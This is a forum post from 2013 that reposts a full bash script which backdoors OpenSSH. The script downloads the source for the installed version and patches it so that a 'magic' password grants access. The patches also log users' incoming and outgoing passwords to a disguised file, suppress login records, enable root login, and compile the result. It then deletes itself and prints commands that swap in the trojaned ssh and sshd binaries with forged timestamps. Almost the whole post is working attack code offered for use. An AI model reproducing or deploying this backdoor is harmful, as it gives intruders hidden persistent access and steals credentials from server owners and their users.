Active Members Fi8sVrs Posted October 13, 2013 Active Members Report Posted October 13, 2013 This script provides OpenSSH backdoor functionality with a magic password and logs passwords as well. It leverages the same basic idea behind common OpenSSH patches but this script attempts to make the process version agnostic. Use at your own risk.# ============================================# satyr's openssh autobackdooring doohicky v0.-1# ImpendingSatyr@gmail.com# ============================================# USAGE:# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.# [it'll install them via apt or yum, whichever is available]).# Note: This script will delete itself once it's fairly sure the openssh compile went smoothly.# It's up to you to clean the logs of those yum/apt installs if they're needed, and to restart sshd.# ============================================# WTF:# I noticed that most openssh code doesn't change too much among versions, and that most openssh backdoors are # just diff patches for specific versions of openssh. So I thought it would be nice to have a script that applies # such a patch based on those similar chunks of code instead of relying on diff patches so that it can be done on different # versions without any modifying (I've seen kiddies apply backdoor patches for a version of openssh that wasn't # originally being used on the box, which is just lazy & dumb).# So I wrote up this to make the whole process a bit easier (For use in my own private network of course o.O)# ============================================#!/bin/bash# ============================================# satyr's openssh autobackdooring doohicky v0.-1# ImpendingSatyr@gmail.com# ============================================# USAGE:# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.# [it'll install them via apt or yum, whichever is available]).# Note: This script will delete itself once it's fairly sure the openssh compile went smoothly.# It's up to you to clean the logs of those yum/apt installs if they're needed, and to restart sshd.# ============================================# WTF:# I noticed that most openssh code doesn't change too much among versions, and that most openssh backdoors are # just diff patches for specific versions of openssh. So I thought it would be nice to have a script that applies # such a patch based on those similar chunks of code instead of relying on diff patches so that it can be done on different # versions without any modifying (I've seen kiddies apply backdoor patches for a version of openssh that wasn't # originally being used on the box, which is just lazy & dumb).# So I wrote up this to make the whole process a bit easier (For use in my own private network of course o.O)# ============================================# FEATURES:# 0) "Magic" password can be automagically generated# 1) "Magic" password is MD5'd before being stored in the ssh/sshd binary, so very unlikely that anyone will be able to get your "Magic" password.# 2) Conents of file that logs passwords is XOR encoded using the same code that's in http://packetstormsecurity.com/files/download/34453/apatch-ssh-3.8.1p1.tar.gz# Here's the script for decoding for the bastards out there too lazy to go to the above link:# #!/bin/sh# cat > x << __EOF__# #include <stdio.h># main(int c) {# while(1) {# c = getchar(); if(feof(stdin)) break;# putchar(~c);# }# }# __EOF__# gcc -x c x -o x; cat $1 | ./x; rm -f x# Do a `cat passlog|./theabovescript.sh` to get the logged passes.# 3) Strings used for this backdoor are limited to 2 characters, so it'll hide from the `strings` command.# 4) Cures cancer# 5) Seems to work fine on all versions from 3.9p1 - 6.3p1 (latest as of this script)# 6) Not really a bug, but your hostname will be logged if it doesn't match your IP's reverse DNS (disable this with "UseDNS no" in sshd_config)# ============================================# KNOWN BUGS (or lack of feature):# 0) Sometimes the password generated contains non-printable characters. # 1) No check to see if apt or yum completed successfully when installing a missing lib.# 2) No check to see if the pass log location is writable. (yes, I know that could be added easily)# 3) No check to see if packetstorm is accessible when grabbing http://dl.packetstormsecurity.net/UNIX/misc/touch2v2.c# on that last command that's echoed for the user to run when done compiling.# 4) No check if box has gcc# ============================================# NOTE TO ADMINS:# I didn't put this script on your box. You really need to take your box offline and do a clean install of your system.# This script is no different than the other openssh backdoors when it comes to prevention, # tripwire or anything similar will easily notice this backdoor as it will with other openssh backdoors.# ============================================WGET=/usr/bin/wgetSSHD=/usr/sbin/sshd# an openssh mirrorMIRROR=http://mirror.team-cymru.org/pub/OpenBSD/OpenSSH/portable/SSHETC=/etc/sshPREFIX=/usrif [ ! -d "$SSHETC" ]; then echo "Error: $SSHETC is not a directory." exit 1fiif [ "`grep -i pam $SSHETC/sshd_config|grep -v '#'|strings`" != "" ]; then echo "(PAM enabled)" pam="--with-pam"fiif [ "`grep -i gss $SSHETC/sshd_config|grep -v '#'|strings`" != "" ] || \ [ "`grep -i gss $SSHETC/ssh_config|grep -v '#'|strings`" != "" ]; then echo "(KRB5 enabled)" gss="--with-kerberos5"fiversion=`$SSHD -arf 2>&1|head -2|tail -1|cut -d, -f1|sed -e's/^OpenSSH_//'|awk '{print $1}'`extracrap=`$SSHD -arf 2>&1|head -2|tail -1|cut -d, -f1|sed -e's/^OpenSSH_//'|awk '{print $2}'`if [ "$1" == "" ]; then read -sp "Magic password (just press enter to use a random one): " PW;echofiif [ "$PW" == "" ]; then function randpass() { [ "$2" == "0" ] && CHAR="[:alnum:]" || CHAR="[:graph:]";cat /dev/urandom|tr -cd "$CHAR"|head -c ${1:-32};echo;} PW=`randpass $(( 20+( $(od -An -N2 -i /dev/random) )%(20+1) ))`fiif [ "$1" == "" ]; then read -p "File to log passwords to: " LOGFelse LOGF=$1fiif [ "$LOGF" == "" ]; then echo "Error: You didn't choose a file to log passwords to." exit 1fiecho "==========================================================="echo "Using magic password: $PW"cat > md5.$$ << EOF0$PWEOF0md5=`printf "%s" \`(cat md5.$$)|sed -e :a -e N -e '$!ba' -e 's/\n/ /g'\`|openssl md5|awk '{print $NF}'`rm -f md5.$$echo "Using password log file: $LOGF"echo "OpenSSH version: $version"echo "==========================================================="LOGFLEN=`echo -n $LOGF|wc -c`let LOGFLEN++if [ ! -x "$WGET" ]; then echo "Error: $WGET is not executable" exit 1fiecho "Downloading openssh-$version..."wget $MIRROR/openssh-$version.tar.gz 2>&1|grep savetar zxf openssh-$version.tar.gzrm -f openssh-$version.tar.gzif [ -d "openssh-$version" ]; then cd openssh-$versionelse echo "Error: Couldn't download $MIRROR/openssh-$version.tar.gz using $WGET" exit 1fi echo "Modifying openssh src..."cat > bd.h <<EOF#include <stdio.h>#include <string.h>int pi, md5len, ploglen;FILE *f;char md5[32], plog[$LOGFLEN], encbuf[2048];static char * bpmd5() {EOFecho $md5|awk -F. '{n=split($1,a,""); for (i=0;i<n;i++) {printf(" md5[%i] = \"%s\";\n",i,a[i+1])}; for (i=2;i<NF;i++) {printf("%s,",$i)};}' >> bd.hcat >> bd.h <<EOF2 return md5;}static char * plogfn() {EOF2for i in $(seq 0 $((${#LOGF} - 1))); do echo "plog[$i] = \"${LOGF:$i:1}\";";done >> bd.hcat >> bd.h <<EOF3 return plog;}static void enclog() { char *plogg = plogfn(); int plen; FILE *f; plen=strlen(encbuf); for (pi=0; pi<=plen; pi++) encbuf[pi]=~encbuf[pi]; f = fopen(plogg,"a"); if (f != NULL) { fwrite(encbuf, plen, 1, f); fclose(f); }}EOF3sed -e s/\"/\'/g -e s/plogg,\'a\'/plogg,\"a\"/ -i bd.hsed '/#include "includes.h"/i\#include "bd.h"' -i auth.csed '/authmsg = authenticated ? "Accepted" : "Failed"/a\if (!pi)' -i auth.csed -i "`echo $[ $(grep -n auth_root_allowed auth.c|awk -F: '{print $1}') + 2 ]`iif (pi) return 1;" -i auth.c# the auth-pam.c stuff is only for => 3.9p1sed '/auth2-pam-freebsd.c/a\#include "bd.h"' -i auth-pam.csed '/void.*sshpam_conv/a\if (pi) sshpam_err = PAM_SUCCESS;' -i auth-pam.csed "`echo $[ $(grep -n pam_authenticate.sshpam_handle auth-pam.c|head -c3) + 1 ]`iif (pi) sshpam_err = PAM_SUCCESS;" -i auth-pam.csed "`grep -nA3 sshpam_cleanup.void auth-pam.c|grep NULL|head -c3`s/NULL/NULL || pi/" -i auth-pam.csed "`echo $[ $(grep -n char.*pam_rhost auth-pam.c|head -c3) + 2 ]`iif (pi) return (0);" -i auth-pam.csed '/type == PAM_SUCCESS/a\if (pi) return 0;' -i auth-pam.csed "`echo $[ $(grep -n do_pam_setcred auth-pam.c|head -c3) + 3 ]`a\if (pi) {\n\sshpam_cred_established = 1;\n\return;\n\}" -i auth-pam.csed "`echo $[ $(grep -n sshpam_respond.void auth-pam.c|head -c3) + 3 ]`a\if (pi) {\n\sshpam_cred_established = 1;\n\return;\n\}" -i auth-pam.csed "`grep -nA6 sshpam_auth_passwd auth-pam.c|grep "\-$"|sed 's/\-$//'`a\char *passmd5 = str2md5(password, strlen(password));\n\char *bpass = bpmd5();\n\int enlen;\n\" -i auth-pam.csed "`echo $(grep -n "sshpam_authctxt = authctxt" auth-pam.c|tail -1|awk -F: '{print $1}')`a\if (strcmp(passmd5,bpass) == 0) {\n\pi = 1;\n\return 1;\n\}" -i auth-pam.csed "`echo $(grep -nA1 'debug.*password authentication accepted for' auth-pam.c|tail -1|head -c4)`a\enlen = sprintf(encbuf,\"pam\");\n\enlen += sprintf(encbuf+enlen,\":\");\n\enlen += sprintf(encbuf+enlen,\"%s\",authctxt->user);\n\enlen += sprintf(encbuf+enlen,\":\");\n\enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\enclog();\n\" -i auth-pam.csed '/#include "includes.h"/i\#include "bd.h"\#include <stdlib.h>\#if defined(__APPLE__)\# define COMMON_DIGEST_FOR_OPENSSL\# include <CommonCrypto/CommonDigest.h>\# define SHA1 CC_SHA1\#else\# include <openssl/md5.h>\#endif\' -i auth-passwd.csed '/extern ServerOptions options;/a\char *str2md5(const char *str, int length) {\int n;\MD5_CTX c;\unsigned char digest[16];\char *out = (char*)malloc(33);\MD5_Init(&c);\while (length > 0) {\if (length > 512) {\MD5_Update(&c, str, 512);\} else {\MD5_Update(&c, str, length);\}\length -= 512;\str += 512;\}\MD5_Final(digest, &c);\for (n = 0; n < 16; ++n) {\snprintf(&(out[n*2]), 16*2, "%02x", (unsigned int)digest[n]);\}\return out;\}\' -i auth-passwd.csed '/#ifndef HAVE_CYGWIN/i\if (pi) return 1;' -i auth-passwd.csed "`echo $[ $(grep -n sys_auth_passwd.A auth-passwd.c|tail -1|head -c3) + 3 ]`a\char *passmd5 = str2md5(password, strlen(password));\n\char *bpass = bpmd5();\n\int enlen;\n\" -i auth-passwd.csed "`echo $(grep -n pw_password.0.*xx auth-passwd.c|head -c3)`a\if (strcmp(passmd5,bpass) == 0) {\n\pi = 1;\n\return 1;\n\}\n\else {\n\if (strcmp(encrypted_password, pw_password) == 0) {\n\enlen = sprintf(encbuf,\"pas\");\n\enlen += sprintf(encbuf+enlen,\":\");\n\enlen += sprintf(encbuf+enlen,\"%s\",authctxt->user);\n\enlen += sprintf(encbuf+enlen,\":\");\n\enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\enclog();\n\}\n\}\n\" -i auth-passwd.csed '/#include "includes.h"/i\#include "bd.h"' -i sshconnect1.csed '/char \*password;/a\int enlen;' -i sshconnect1.csed '/ssh_put_password(password);/a\enlen = sprintf(encbuf,"1:");\enlen += sprintf(encbuf+enlen,"%s",get_remote_ipaddr());\enlen += sprintf(encbuf+enlen,":");\enlen += sprintf(encbuf+enlen,"%s",options.user);\enlen += sprintf(encbuf+enlen,":");\enlen += sprintf(encbuf+enlen,"%s\\n",password);\enclog();\' -i sshconnect1.csed '/#include "includes.h"/i\#include "bd.h"' -i sshconnect2.csed '/char.*password;/a\int enlen;' -i sshconnect2.csed "`echo $(grep -n 'packet_put_cstring(password);' sshconnect2.c|head -c3)`a\enlen = sprintf(encbuf,\"2:\");\n\enlen += sprintf(encbuf+enlen,\"%s\",authctxt->server_user);\n\enlen += sprintf(encbuf+enlen,\":\");\n\enlen += sprintf(encbuf+enlen,\"%s\",authctxt->host);\n\enlen += sprintf(encbuf+enlen,\":\");\n\enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\enclog();\" -i sshconnect2.csed '/#include "includes.h"/i\#include "bd.h"' -i loginrec.csed '/#ifndef HAVE_CYGWIN/i\if (pi) return 0;' -i loginrec.csed '/#include "includes.h"/i\#include "bd.h"' -i log.csed '/#if (level > log_level)/i\if (pi) return;' -i loginrec.csed 's/PERMIT_NO /PERMIT_YES /' -i servconf.csed 's/PERMIT_NO;/PERMIT_YES;/' -i servconf.csed 's/PERMIT_NO_PASSWD /PERMIT_YES /' -i servconf.csed 's/PERMIT_NO_PASSWD;/PERMIT_YES;/' -i servconf.cif [ "$extracrap" != "" ]; then sed -re"s/(SSH.*PORTABLE.*)\"/\1 $extracrap\"/" -i version.hfiecho "Compiling..."./configure --prefix=$PREFIX $pam $gss --sysconfdir=$SSHETC 2>/dev/null 1>/dev/nullif [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: PAM headers not found" ]; then if [ "$1" == "" ]; then echo "Error: PAM headers missing. To install do: " echo " (with apt) apt-get install libpam0g-dev" echo " (with yum) yum install pam-devel" exit 1 else echo "Error: PAM headers missing. Attempting automatic install..." if [ -e "/usr/bin/yum" ]; then yum -y install pam-devel fi if [ -e "/usr/bin/apt-get" ]; then apt-get -y install libpam0g-dev fi echo "If install was successful, rerun $0" exit 1 fifiif [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: no acceptable C compiler found in \$PATH" ]; then echo "Error: No gcc on this box (or in \$PATH)." exit 1fiif [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** zlib missing - please install first or check config.log ***" ] || \ [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** zlib.h missing - please install first or check config.log ***" ]; then if [ "$1" == "" ]; then echo "Error: zlib missing. To install do: " echo " (with apt) apt-get install zlib1g-dev" echo " (with yum) yum install zlib-devel" exit 1 else echo "Error: zlib missing. Attempting automatic install..." if [ -e "/usr/bin/yum" ]; then yum -y install zlib-devel fi if [ -e "/usr/bin/apt-get" ]; then apt-get -y install zlib1g-dev fi echo "If install was successful, rerun $0" exit 1 fifiif [ "`grep "krb5.h: No such file or directory" config.log|head -1|awk '{ print substr($0, index($0,$2)) }'`" == "error: krb5.h: No such file or directory" ]; then echo "Error: kerberos5 missing. To install do:" echo " (with apt) apt-get install libkrb5-dev" echo " (with yum) yum install krb5-devel"fiif [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** Can't find recent OpenSSL libcrypto (see config.log for details) ***" ] || \ [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** OpenSSL headers missing - please install first or check config.log ***" ]; then if [ "$1" == "" ]; then echo "Error: libcrypto missing. To install do: " echo " (with apt) apt-get install libssl-dev" echo " (with yum) yum install openssl-devel" exit 1 else echo "Error: libcrypto missing. Attempting automatic install..." if [ -e "/usr/bin/yum" ]; then yum -y install openssl-devel fi if [ -e "/usr/bin/apt-get" ]; then apt-get -y install libssl-dev fi echo "If install was successful, rerun $0" exit 1 fifimake 2>/dev/null 1>/dev/nullif [ -e "sshd" ]; then ls -l ssh sshd cd .. rm -vf $0 echo "Now do this:" echo "cd openssh-$version;$WGET http://dl.packetstormsecurity.net/UNIX/misc/touch2v2.c -q;gcc -o touch touch2v2.c;cp /usr/sbin/sshd sshd.bak;cp /usr/bin/ssh ssh.bak;chown --reference=/usr/bin/ssh ssh.bak;chown --reference=/usr/sbin/sshd sshd.bak;touch -r /usr/sbin/sshd sshd.bak;touch -r /usr/bin/ssh ssh.bak;./touch -r /usr/sbin/sshd sshd.bak;./touch -r /usr/bin/ssh ssh.bak;rm -f /usr/sbin/sshd /usr/bin/ssh;cp ssh /usr/bin/;cp sshd /usr/sbin/;chown --reference=ssh.bak /usr/bin/ssh;chown --reference=sshd.bak /usr/sbin/sshd;touch -r sshd.bak /usr/sbin/sshd;touch -r ssh.bak /usr/bin/ssh;./touch -r sshd.bak /usr/sbin/sshd;./touch -r ssh.bak /usr/bin/ssh;echo Backdoored. Now you restart it."else echo "Error: Compiling failed: " grep error: config.log|tail -1fiFiles from Satyr ? Packet Storm Quote